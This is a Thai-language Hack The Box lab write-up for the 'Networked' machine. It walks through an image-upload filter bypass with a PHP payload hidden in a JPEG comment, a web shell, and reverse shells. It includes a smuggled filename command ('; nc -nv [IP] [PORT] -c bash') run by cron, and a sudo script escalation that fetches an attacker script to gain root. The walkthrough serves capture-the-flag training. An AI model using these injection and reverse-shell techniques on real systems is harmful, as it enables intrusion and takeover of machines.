Hack-The-Box – Networked

บทความโดย
Vanitas
Cyber Security Researcher

Box Name : Networked 

Difficulty : Easy 

Point : 20

Vulnerability : 
– Arbitrary image file upload from page : upload.php.
– Command Injection using file name from PHP script execution by crontab.
– Privilege Escalation from Command Injection from sudo execution. 

Enumeration & Exploit :

  1. Nmap scan แบบ all port (TCP + UDP) จะพบว่า TCP : 22 และ 80 เปิดอยู่
  2. เราจะพบว่า TCP : 80 เป็น Apache ลองใช้ Nikto เข้าไป enumeration ดู จะพบว่ามี path น่าสนใจคือ /backup
  3. ลอง browse เข้าไปดู จะพบว่า web server นี้เปิด directory listing ไว้ และมีไฟล์ backup.tar ที่เป็น archive file วางอยู่
  4. ทีนี้เราก็ไป download มา extract ดู จะเจอว่ามี PHP source code อยู่ 4 ไฟล์ ดังรูป
  5. หลังจากลองนั่งดู คร่าวๆ จะพอรู้ว่า attack vector ที่เราสามารถไปต่อได้คือ การแทรก payload ลงบนไฟล์รูปภาพ เพื่อให้สามารถ uploadผ่านหน้า page : upload.php แล้วไป execution shell บนเป้าหมายได้ ซึ่งจริงๆ ถ้าอ่าน source ใน lib.php ดูจะพบว่ามันเช็ค mime-type,file contents  และ file extension ด้วย แต่ก็ไม่ใช่ประเด็นสำคัญอะไรมากนอก เพราะสิ่งที่เราจะทำต่อไปคือ เอาไฟล์ .jpg มาแทรก php payload เข้าไปทำ malicious image file พร้อมอัพโหลดได้เลย
  6. ท่านี้หลายคนอาจจะคุ้นเคย คือใช้ exiftool ไปเพิ่ม PHP script ลงบน comment ซึ่งเป็น file properties หนึ่งของ image file (ซึ่ง ณ ทีนี้ผมเอาไฟล์ตัวอย่างมาเป็น .jpg) โดยหลังจากเพิ่มไปแล้ว จะเห็นว่าลองใช้ command : file ไปยังไฟล์นี้ดู จะเห็น comment เป็น PHP payload แล้ว ดังรูป
  7. โดยสิ่งที่สำคัญมาก อย่างหนึ่งคือ ต้อง rename เป็น .php.jpg ด้วย สามารถอ่าน detail เพิ่มเติมได้จาก Bypass File Upload Filtering (Ref: https://github.com/xapax/security/blob/master/bypass_image_upload.md) หมายเหตุ : ในการ PoC รอบแรก เราจะทดสอบให้ browse ไปที่ malicious image file แล้วโชว์ phpinfo page เพื่อ prove ว่าสามารถเรียกcommand execution ได้จริงๆ
  8. ลอง browse ไปที่ photos.php จะพบว่าไฟล์ malicious image ที่เราอัพโหลดไปเมื่อครู่ ได้ถูกเรียกมาโชว์ และเราจะทราบ image location url แล้ว (ตรงจุดนี้ จะถูกเปลี่ยน filename ไปตาม IP ของเครื่อง attacker ) ดังรูป
  9. ก็ลอง browse ไปยัง malicious image นั้นเลย จะพบว่าเรียกโชว์ phpinfo ได้จริง ซึ่งตอนนี้เราจะค่อนข้างชัวร์แล้วว่าสามารถทำ command execution เป็น get shell ต่อได้โดย box นี้มีการทำ handling จาก web server ที่ผิดพลาด ทำให้อ่าน content php บน image file ได้
  10. ทำในลักษณะเดิม แต่แทรก PHP script ในลักษณะของ web shell แทน ดังรูป
  11. นำไปอัพโหลดเช่นเดิม จะพบว่าถูก encode ไปแล้ว
  12. ลองใส่ os command ลงบน parameter บน webshell ซึ่งเราจะเรียก os command ได้แล้ว ณ ตอนนี้
  13. ใช้ reverse shell เพื่อให้เราได้ reverse shell prompt จากเครื่อง attacker เราเลย จะเห็นว่าสามารถสวมสิทธิ์เป็น user : apache ที่ใช้รัน web server ของปลายทางได้แล้ว โดยใช้ python มา spawn full TTY interactive shell เพื่อให้ง่ายต่อการใช้งาน ดังรูป
  14. ลองดูว่า บนเครื่องเหยื่อ มี local user อะไรบ้างจาก /etc/passwd จะพบว่ามี user : guly
  15. Access ต่อไปที่ home folder ของ user : guly แล้วอ่าน flag : user.txt ซึ่ง…. ยังไม่ได้….
  16. บน home folder ของ user : guly จะสังเกตเห็นว่ามี script แปลกๆ คือ crontab.guly และ check_attack.php ลองเข้าไปอ่านดู
  17. เมื่อลองสักพัก จะพอเดาได้ว่า เราจะสวมสิทธิ์ไปเป็น guly ได้จะต้อง attack ผ่าน check_attack.php ด้วยวิธีการบางอย่าง แล้วรอให้ crontab มาเรียกทุกๆ 3 นาที
  18. หลังจาก review code ใน check_attack.php จะพบว่ามีสิ่งที่น่าสนใจคือเราสามารถทำ Command Injection ด้วยชื่อไฟล์ (filename) ที่อยู่ใน path : /var/www/html/uploads ได้โดยเราสามารถสร้างไฟล์ โดยใช้ filename ในลักษณะของ “; [malicious_command]” เพื่อใช้ semi-colon ไปทำการ break command ข้างหน้า (/bin/rm) แล้วให้ execute malicious command เพื่อทำ reverse shell กลับมาหา attacker ได้
  19. ทีนี้เราได้ idea แล้ว เราก็ไปสร้างไฟล์ด้วย idea ที่บอกได้เลย เช่น “; nc -nv [IP] [PORT] -c bash” ดังรูป
  20. ให้  start netcat listener รอสัก 3 นาที ตาม crontab ที่เราเห็น คราวนี้จะได้ low privilege shell กลับมาด้วยสิทธิ์ user : gully แล้ว ซึ่งตอนนี้เราจะได้ flag : user.txt เรียบร้อย
  21. ลอง sudo -l ดู จะพบว่าเครื่องนี้ allow ให้ user : guly มี sudo privilege เพื่อไปรัน /usr/local/sbin/changename.sh ได้ด้วยสิทธิ์  root ซึ่งเป็น highest privilege account
  22. Idea แรก คือเราควรจะเช็คก่อนว่า shell script ที่เรามีสิทธิ์ sudo privilege นี้ เป็น writeable หรือไม่ ถ้า edit ได้ก็ง่ายละ ซึ่งหลังจากเช็ค พบว่า writeable เฉพาะ root
  23. ไป dump shell script มา review source อีกแล้ว (Box นี้เหมือน creator ตั้งใจให้ผู้เล่นได้ทำ source code review บ่อยๆในทุกขั้นตอน ซึ่งถือว่าเป็นจุดเด่นของ box นี้)
  24. จาก script จะพบว่า ตัว shell script นี้พยายามจะไปเขียน network configuration script ด้วยสิทธิ์ root privilege แล้ว enable interface นั้นๆ ขึ้นมา ซึ่งมันไม่มี interface นี้อยู่จริงและเราจะเห็นอีกว่า ถ้าใช้ character ที่มีอยู่ใน regular expression ที่ถูก define อยู่ใน script จะโดนดัก exception ไว้ กันการทำ Command Injection บางส่วน
  25. ลองรัน script ด้วย sudo ดู ซึ่งจะพบว่า character บางส่วนที่ใช้ break command นั้นถูก exception ไว้จริงๆ ดังรูป
  26. Think it  simple. ลองเรียกด้วย command ง่ายๆดูก่อน ทีนี้จะเจอจุดสังเกตอย่างหนึ่งคือ ถ้าใช้ command ที่มีหลายๆ argument ขึ้นมา จะมี error ว่าไม่สามารถเรียก argument option ได้ ดังรูป
  27. แสดงว่าในความเป็นจริงแล้ว เราสามารถ “เรียก command execution หรือ เรียก script execution บางอย่างได้” เพียงแต่ต้องไม่ใช่ผ่านการทำ  argument option
  28. ตรงจุดนี้ น่าจะเริ่มเดาได้ idea ออกแล้วว่า ในเมื่อเรียกได้แค่ argument เดียว เราก็ไปเอา command ที่เราต้องการหลายๆ command ไปยัดใส่ script แล้วให้ argument นี้ มาเรียกแค่ชื่อ shell script ก็น่าจะจบเรื่อง
  29. ไปสร้าง asroot.sh ไว้บนเครื่องของ attacker ซึ่ง script นี้เป็นเพียงแค่ส่ง reverse shell กลับมาธรรมดาๆ ไม่มีอะไรเลย
  30. กลับมาที่เครื่องเป้าหมาย เพื่อ download asroot.sh มาไว้ที่ path : /tmp แล้ว set permission ให้ executable ได้ โดยจุดที่สำคัญ คือ เราต้อง rename ไฟล์ให้ไม่มี extension (ก็คือไม่มี . (dot)) เพราะถ้าเราใส่ .sh ไปด้วย จะโดนดักจาก regular expression 
  31. Start netcat listener บนเครื่อง attacker ไว้เช่นเดิม แล้วกลับมารัน shell script : changename.sh ด้วย sudo privilege เหมือนเดิม โดยในการ input ให้เราใช้ space escape ตามด้วย script ที่เรานำไปวางเพื่อเรียกรัน shell script นั้นตรงๆ หลังจาก input จนครบ จะพบว่า netcat ได้ส่ง connection กลับมาแล้ว
  32. เราจะได้ reverse shell กลับมาด้วย root privilege แล้ว ซึ่งเราจะสามารถอ่าน flag : root.txt บน /root ได้แล้ว